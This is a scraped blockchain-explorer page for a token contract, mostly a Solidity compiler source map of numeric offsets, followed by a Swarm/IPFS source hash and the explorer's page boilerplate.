:9;:18;;;;;;;;;;:44;;;;9862:12;:22;;9878:6;;9807:9;9862:22;;9878:6;;9862:22;:::i;:::-;;;;-1:-1:-1;;9902:37:0;;3033:25:1;;;9928:1:0;;-1:-1:-1;;;;;9902:37:0;;;;;3021:2:1;3006:18;9902:37:0;2887:177:1;3050:98:0;3108:7;3135:5;3139:1;3135;:5;:::i;36434:221::-;36540:11;;36483:7;;;;36530:22;;-1:-1:-1;;;;;36540:11:0;36530:9;:22::i;:::-;36503:49;;36563:18;36584:35;36602:16;36584:13;6350:12;;;6262:108;30647:700;26410:18;:25;;-1:-1:-1;;;;26410:25:0;-1:-1:-1;;;26410:25:0;;;26559:10:::1;::::0;;-1:-1:-1;;;;26764:30:0;;;;;26559:10:::1;-1:-1:-1::0;;;26559:10:0;::::1;::::0;::::1;::::0;-1:-1:-1;;;26607:16:0;::::1;::::0;::::1;::::0;-1:-1:-1;;;26671:26:0;;::::1;;26410:25:::0;30752:24:::2;30770:4;30752:9;:24::i;:::-;30721:55;;30824:14;;30801:20;:37;30797:543;;;30903:14;::::0;30878:40:::2;::::0;:20;;:24:::2;:40::i;:::-;30855:63;;30957:15;;30975:1;30957:19;;;;:::i;:::-;30934:20;:42;30930:121;;;31016:15;::::0;:19:::2;::::0;31034:1:::2;31016:19;:::i;:::-;30993:42;;30930:121;31103:38;31120:20;31103:16;:38::i;:::-;31248:12;::::0;31170:21:::2;::::0;-1:-1:-1;;;;;31248:12:0::2;31240:37;31271:5;31275:1;31170:21:::0;31271:5:::2;:::i;:::-;31240:37;::::0;;::::2;::::0;;::::2;::::0;::::2;::::0;;;;;;::::2;;;;;;;;;;;;;::::0;::::2;;;;;-1:-1:-1::0;31300:11:0::2;::::0;-1:-1:-1;;;;;31300:11:0::2;31292:36;31322:5;31326:1;31322:3:::0;:5:::2;:::i;:::-;31292:36;::::0;;::::2;::::0;;::::2;::::0;::::2;::::0;;;;;;::::2;;;;;;;;;;;;;::::0;::::2;;;;;;30840:500;30797:543;-1:-1:-1::0;26817:10:0::1;:24:::0;;-1:-1:-1;;;;26852:36:0;-1:-1:-1;;;26817:24:0::1;::::0;;::::1;;-1:-1:-1::0;;;;26852:36:0;;-1:-1:-1;;;26852:36:0;;::::1;::::0;;;::::1;::::0;;;::::1;-1:-1:-1::0;;;;26899:56:0::1;-1:-1:-1::0;;;26899:56:0;;;::::1;;::::0;;;::::1;::::0;;26458:18;:26;;-1:-1:-1;;;;26458:26:0;;;30647:700::o;8424:675::-;-1:-1:-1;;;;;8564:20:0;;8556:70;;;;-1:-1:-1;;;8556:70:0;;20144:2:1;8556:70:0;;;20126:21:1;20183:2;20163:18;;;20156:30;20222:34;20202:18;;;20195:62;-1:-1:-1;;;20273:18:1;;;20266:35;20318:19;;8556:70:0;19942:401:1;8556:70:0;-1:-1:-1;;;;;8645:23:0;;8637:71;;;;-1:-1:-1;;;8637:71:0;;20550:2:1;8637:71:0;;;20532:21:1;20589:2;20569:18;;;20562:30;20628:34;20608:18;;;20601:62;-1:-1:-1;;;20679:18:1;;;20672:33;20722:19;;8637:71:0;20348:399:1;8637:71:0;-1:-1:-1;;;;;8805:17:0;;8781:21;8805:17;;;;;;;;;;;8855:23;;;;8833:111;;;;-1:-1:-1;;;8833:111:0;;20954:2:1;8833:111:0;;;20936:21:1;20993:2;20973:18;;;20966:30;21032:34;21012:18;;;21005:62;-1:-1:-1;;;21083:18:1;;;21076:36;21129:19;;8833:111:0;20752:402:1;8833:111:0;8975:22;8991:6;8975:13;:22;:::i;:::-;-1:-1:-1;;;;;8955:17:0;;;:9;:17;;;;;;;;;;;:42;;;;9008:20;;;;;;;;:30;;9032:6;;8955:9;9008:30;;9032:6;;9008:30;:::i;:::-;;;;;;;;9073:9;-1:-1:-1;;;;;9056:35:0;9065:6;-1:-1:-1;;;;;9056:35:0;;9084:6;9056:35;;;;3033:25:1;;3021:2;3006:18;;2887:177;9056:35:0;;;;;;;;8545:554;8424:675;;;:::o;41199:1065::-;41339:6;-1:-1:-1;;;;;41329:16:0;:6;-1:-1:-1;;;;;41329:16:0;;;:30;;;;;41358:1;41349:6;:10;41329:30;41325:932;;;-1:-1:-1;;;;;41380:20:0;;;41376:427;;-1:-1:-1;;;;;41488:22:0;;41469:16;41488:22;;;:14;:22;;;;;;;;;41549:13;:102;;41650:1;41549:102;;;-1:-1:-1;;;;;41586:19:0;;;;;;:11;:19;;;;;;41606:13;41618:1;41606:9;:13;:::i;:::-;41586:34;;;;;;;;;;;;;;;:40;;;41549:102;41529:122;-1:-1:-1;41670:17:0;41690:21;41529:122;41704:6;41690:13;:21::i;:::-;41670:41;;41730:57;41747:6;41755:9;41766;41777;41730:16;:57::i;:::-;41402:401;;;41376:427;-1:-1:-1;;;;;41823:20:0;;;41819:427;;-1:-1:-1;;;;;41931:22:0;;41912:16;41931:22;;;:14;:22;;;;;;;;;41992:13;:102;;42093:1;41992:102;;;-1:-1:-1;;;;;42029:19:0;;;;;;:11;:19;;;;;;42049:13;42061:1;42049:9;:13;:::i;:::-;42029:34;;;;;;;;;;;;;;;:40;;;41992:102;41972:122;-1:-1:-1;42113:17:0;42133:21;41972:122;42147:6;42133:13;:21::i;:::-;42113:41;;42173:57;42190:6;42198:9;42209;42220;42173:16;:57::i;35715:711::-;35824:16;;;35838:1;35824:16;;;;;;;;35781:8;;;;35824:16;35838:1;35824:16;;;;;;;;;;-1:-1:-1;35824:16:0;35800:40;;35869:4;35851;35856:1;35851:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;35851:23:0;;;:7;;;;;;;;;;:23;;;;35895:13;;:20;;;-1:-1:-1;;;35895:20:0;;;;:13;;;;;:18;;:20;;;;;35851:7;;35895:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;35885:4;35890:1;35885:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;35885:30:0;;;:7;;;;;;;;;:30;35960:13;;35928:60;;35945:4;;35960:13;35976:11;35928:8;:60::i;:::-;35999:13;;:222;;-1:-1:-1;;;35999:222:0;;-1:-1:-1;;;;;35999:13:0;;;;:64;;:222;;36078:11;;35999:13;;36148:4;;36175;;36195:15;;35999:222;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;36236:12:0;;-1:-1:-1;;;36236:12:0;;;;36232:187;;-1:-1:-1;36232:187:0;;-1:-1:-1;36232:187:0;36283:3;;-1:-1:-1;;;;;36283:3:0;36318:25;36342:1;36318:21;:25;:::i;:::-;36275:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;36265:97;;;;;36385:3;36377:30;;;;-1:-1:-1;;;36377:30:0;;22812:2:1;36377:30:0;;;22794:21:1;22851:2;22831:18;;;22824:30;-1:-1:-1;;;22870:18:1;;;22863:44;22924:18;;36377:30:0;22610:338:1;42272:816:0;42437:18;42458:118;42479:12;42458:118;;;;;;;;;;;;;;;;;:6;:118::i;:::-;42437:139;;42622:1;42607:12;:16;;;:98;;;;-1:-1:-1;;;;;;42640:22:0;;;;;;:11;:22;;;;;:65;;;;42663:16;42678:1;42663:12;:16;:::i;:::-;42640:40;;;;;;;;;;;;;;;-1:-1:-1;42640:40:0;:50;;:65;42607:98;42589:425;;;-1:-1:-1;;;;;42732:22:0;;;;;;:11;:22;;;;;42781:8;;42755:16;42770:1;42755:12;:16;:::i;:::-;42732:40;;;;;;;;;;;;;-1:-1:-1;42732:40:0;:46;;:57;42589:425;;;42861:82;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;42822:22:0;;-1:-1:-1;42822:22:0;;;:11;:22;;;;;:36;;;;;;;;;;;:121;;;;-1:-1:-1;;42822:121:0;;;;;;;;-1:-1:-1;42822:121:0;;;;42986:16;;42822:36;;42986:16;:::i;:::-;-1:-1:-1;;;;;42958:25:0;;;;;;:14;:25;;;;;:44;;-1:-1:-1;;42958:44:0;;;;;;;;;;;;42589:425;43029:51;;;23304:25:1;;;23360:2;23345:18;;23338:34;;;-1:-1:-1;;;;;43029:51:0;;;;;23277:18:1;43029:51:0;;;;;;;42426:662;42272:816;;;;:::o;43096:191::-;43199:6;43239:12;43230:7;43226:11;;43218:34;;;;-1:-1:-1;;;43218:34:0;;;;;;;;:::i;:::-;-1:-1:-1;43277:1:0;;43096:191;-1:-1:-1;;43096:191:0:o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;206:548:1;318:4;347:2;376;365:9;358:21;408:6;402:13;451:6;446:2;435:9;431:18;424:34;476:1;486:140;500:6;497:1;494:13;486:140;;;595:14;;;591:23;;585:30;561:17;;;580:2;557:26;550:66;515:10;;486:140;;;490:3;675:1;670:2;661:6;650:9;646:22;642:31;635:42;745:2;738;734:7;729:2;721:6;717:15;713:29;702:9;698:45;694:54;686:62;;;;206:548;;;;:::o;759:127::-;820:10;815:3;811:20;808:1;801:31;851:4;848:1;841:15;875:4;872:1;865:15;891:131;-1:-1:-1;;;;;966:31:1;;956:42;;946:70;;1012:1;1009;1002:12;946:70;891:131;:::o;1027:134::-;1095:20;;1124:31;1095:20;1124:31;:::i;:::-;1027:134;;;:::o;1166:908::-;1220:5;1273:3;1266:4;1258:6;1254:17;1250:27;1240:55;;1291:1;1288;1281:12;1240:55;1327:6;1314:20;1353:4;1376:18;1413:2;1409;1406:10;1403:36;;;1419:18;;:::i;:::-;1465:2;1462:1;1458:10;1497:2;1491:9;1560:2;1556:7;1551:2;1547;1543:11;1539:25;1531:6;1527:38;1615:6;1603:10;1600:22;1595:2;1583:10;1580:18;1577:46;1574:72;;;1626:18;;:::i;:::-;1662:2;1655:22;1712:18;;;1788:15;;;1784:24;;;1746:15;;;;-1:-1:-1;1820:15:1;;;1817:35;;;1848:1;1845;1838:12;1817:35;1884:2;1876:6;1872:15;1861:26;;1896:148;1912:6;1907:3;1904:15;1896:148;;;1978:23;1997:3;1978:23;:::i;:::-;1966:36;;2022:12;;;;1929;;;;1896:148;;;2062:6;1166:908;-1:-1:-1;;;;;;;1166:908:1:o;2079:483::-;2172:6;2180;2233:2;2221:9;2212:7;2208:23;2204:32;2201:52;;;2249:1;2246;2239:12;2201:52;2289:9;2276:23;2322:18;2314:6;2311:30;2308:50;;;2354:1;2351;2344:12;2308:50;2377:61;2430:7;2421:6;2410:9;2406:22;2377:61;:::i;:::-;2367:71;;;2488:2;2477:9;2473:18;2460:32;2501:31;2526:5;2501:31;:::i;:::-;2551:5;2541:15;;;2079:483;;;;;:::o;2567:315::-;2635:6;2643;2696:2;2684:9;2675:7;2671:23;2667:32;2664:52;;;2712:1;2709;2702:12;2664:52;2751:9;2738:23;2770:31;2795:5;2770:31;:::i;:::-;2820:5;2872:2;2857:18;;;;2844:32;;-1:-1:-1;;;2567:315:1:o;3069:247::-;3128:6;3181:2;3169:9;3160:7;3156:23;3152:32;3149:52;;;3197:1;3194;3187:12;3149:52;3236:9;3223:23;3255:31;3280:5;3255:31;:::i;3503:456::-;3580:6;3588;3596;3649:2;3637:9;3628:7;3624:23;3620:32;3617:52;;;3665:1;3662;3655:12;3617:52;3704:9;3691:23;3723:31;3748:5;3723:31;:::i;:::-;3773:5;-1:-1:-1;3830:2:1;3815:18;;3802:32;3843:33;3802:32;3843:33;:::i;:::-;3503:456;;3895:7;;-1:-1:-1;;;3949:2:1;3934:18;;;;3921:32;;3503:456::o;4361:156::-;4427:20;;4487:4;4476:16;;4466:27;;4456:55;;4507:1;4504;4497:12;4522:553;4622:6;4630;4638;4691:2;4679:9;4670:7;4666:23;4662:32;4659:52;;;4707:1;4704;4697:12;4659:52;4730:27;4747:9;4730:27;:::i;:::-;4720:37;;4808:2;4797:9;4793:18;4780:32;4835:18;4827:6;4824:30;4821:50;;;4867:1;4864;4857:12;4821:50;4890:61;4943:7;4934:6;4923:9;4919:22;4890:61;:::i;:::-;4880:71;;;5001:2;4990:9;4986:18;4973:32;5014:31;5039:5;5014:31;:::i;:::-;5064:5;5054:15;;;4522:553;;;;;:::o;5080:592::-;5182:6;5190;5198;5206;5214;5222;5275:3;5263:9;5254:7;5250:23;5246:33;5243:53;;;5292:1;5289;5282:12;5243:53;5331:9;5318:23;5350:31;5375:5;5350:31;:::i;:::-;5400:5;-1:-1:-1;5452:2:1;5437:18;;5424:32;;-1:-1:-1;5503:2:1;5488:18;;5475:32;;-1:-1:-1;5526:36:1;5558:2;5543:18;;5526:36;:::i;:::-;5516:46;;5609:3;5598:9;5594:19;5581:33;5571:43;;5661:3;5650:9;5646:19;5633:33;5623:43;;5080:592;;;;;;;;:::o;6109:118::-;6195:5;6188:13;6181:21;6174:5;6171:32;6161:60;;6217:1;6214;6207:12;6232:241;6288:6;6341:2;6329:9;6320:7;6316:23;6312:32;6309:52;;;6357:1;6354;6347:12;6309:52;6396:9;6383:23;6415:28;6437:5;6415:28;:::i;6478:481::-;6554:6;6562;6570;6623:2;6611:9;6602:7;6598:23;6594:32;6591:52;;;6639:1;6636;6629:12;6591:52;6678:9;6665:23;6728:6;6721:5;6717:18;6710:5;6707:29;6697:57;;6750:1;6747;6740:12;6964:382;7029:6;7037;7090:2;7078:9;7069:7;7065:23;7061:32;7058:52;;;7106:1;7103;7096:12;7058:52;7145:9;7132:23;7164:31;7189:5;7164:31;:::i;:::-;7214:5;-1:-1:-1;7271:2:1;7256:18;;7243:32;7284:30;7243:32;7284:30;:::i;7351:388::-;7419:6;7427;7480:2;7468:9;7459:7;7455:23;7451:32;7448:52;;;7496:1;7493;7486:12;7448:52;7535:9;7522:23;7554:31;7579:5;7554:31;:::i;:::-;7604:5;-1:-1:-1;7661:2:1;7646:18;;7633:32;7674:33;7633:32;7674:33;:::i;7744:419::-;7811:6;7819;7872:2;7860:9;7851:7;7847:23;7843:32;7840:52;;;7888:1;7885;7878:12;7840:52;7927:9;7914:23;7946:31;7971:5;7946:31;:::i;:::-;7996:5;-1:-1:-1;8053:2:1;8038:18;;8025:32;8101:10;8088:24;;8076:37;;8066:65;;8127:1;8124;8117:12;8436:180;8495:6;8548:2;8536:9;8527:7;8523:23;8519:32;8516:52;;;8564:1;8561;8554:12;8516:52;-1:-1:-1;8587:23:1;;8436:180;-1:-1:-1;8436:180:1:o;8621:380::-;8700:1;8696:12;;;;8743;;;8764:61;;8818:4;8810:6;8806:17;8796:27;;8764:61;8871:2;8863:6;8860:14;8840:18;8837:38;8834:161;;8917:10;8912:3;8908:20;8905:1;8898:31;8952:4;8949:1;8942:15;8980:4;8977:1;8970:15;8834:161;;8621:380;;;:::o;9006:356::-;9208:2;9190:21;;;9227:18;;;9220:30;9286:34;9281:2;9266:18;;9259:62;9353:2;9338:18;;9006:356::o;9776:127::-;9837:10;9832:3;9828:20;9825:1;9818:31;9868:4;9865:1;9858:15;9892:4;9889:1;9882:15;9908:128;9975:9;;;9996:11;;;9993:37;;;10010:18;;:::i;10041:125::-;10106:9;;;10127:10;;;10124:36;;;10140:18;;:::i;10171:127::-;10232:10;10227:3;10223:20;10220:1;10213:31;10263:4;10260:1;10253:15;10287:4;10284:1;10277:15;12359:135;12398:3;12419:17;;;12416:43;;12439:18;;:::i;:::-;-1:-1:-1;12486:1:1;12475:13;;12359:135::o;14143:175::-;14211:10;14254;;;14242;;;14238:27;;14277:12;;;14274:38;;;14292:18;;:::i;:::-;14274:38;14143:175;;;;:::o;14323:127::-;14384:10;14379:3;14375:20;14372:1;14365:31;14415:4;14412:1;14405:15;14439:4;14436:1;14429:15;14455:191;14494:1;14520:10;14557:2;14554:1;14550:10;14579:3;14569:37;;14586:18;;:::i;:::-;14624:10;;14620:20;;;;;14455:191;-1:-1:-1;;14455:191:1:o;15278:245::-;15345:6;15398:2;15386:9;15377:7;15373:23;15369:32;15366:52;;;15414:1;15411;15404:12;15366:52;15446:9;15440:16;15465:28;15487:5;15465:28;:::i;15528:1003::-;15787:4;15835:3;15824:9;15820:19;15866:6;15855:9;15848:25;15892:2;15930:6;15925:2;15914:9;15910:18;15903:34;15973:3;15968:2;15957:9;15953:18;15946:31;15997:6;16032;16026:13;16063:6;16055;16048:22;16101:3;16090:9;16086:19;16079:26;;16124:6;16121:1;16114:17;16167:2;16164:1;16154:16;16140:30;;16188:1;16198:194;16212:6;16209:1;16206:13;16198:194;;;16277:13;;-1:-1:-1;;;;;16273:39:1;16261:52;;16309:1;16368:14;;;;16333:12;;;;16227:9;16198:194;;;-1:-1:-1;;;;;;;16448:32:1;;;;16443:2;16428:18;;16421:60;-1:-1:-1;;;16512:3:1;16497:19;16490:35;16409:3;15528:1003;-1:-1:-1;;;15528:1003:1:o;18839:168::-;18912:9;;;18943;;18960:15;;;18954:22;;18940:37;18930:71;;18981:18;;:::i;19012:120::-;19052:1;19078;19068:35;;19083:18;;:::i;:::-;-1:-1:-1;19117:9:1;;19012:120::o;21159:251::-;21229:6;21282:2;21270:9;21261:7;21257:23;21253:32;21250:52;;;21298:1;21295;21288:12;21250:52;21330:9;21324:16;21349:31;21374:5;21349:31;:::i;21415:980::-;21677:4;21725:3;21714:9;21710:19;21756:6;21745:9;21738:25;21782:2;21820:6;21815:2;21804:9;21800:18;21793:34;21863:3;21858:2;21847:9;21843:18;21836:31;21887:6;21922;21916:13;21953:6;21945;21938:22;21991:3;21980:9;21976:19;21969:26;;22030:2;22022:6;22018:15;22004:29;;22051:1;22061:195;22075:6;22072:1;22069:13;22061:195;;;22140:13;;-1:-1:-1;;;;;22136:39:1;22124:52;;22231:15;;;;22196:12;;;;22172:1;22090:9;22061:195;;22953:172;23020:10;23050;;;23062;;;23046:27;;23085:11;;;23082:37;;;23099:18;;:::i

Swarm Source

ipfs://941c5d689350cef1da72c955e90e54b1b57166d0aced0b4a78d8111fb662a389
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.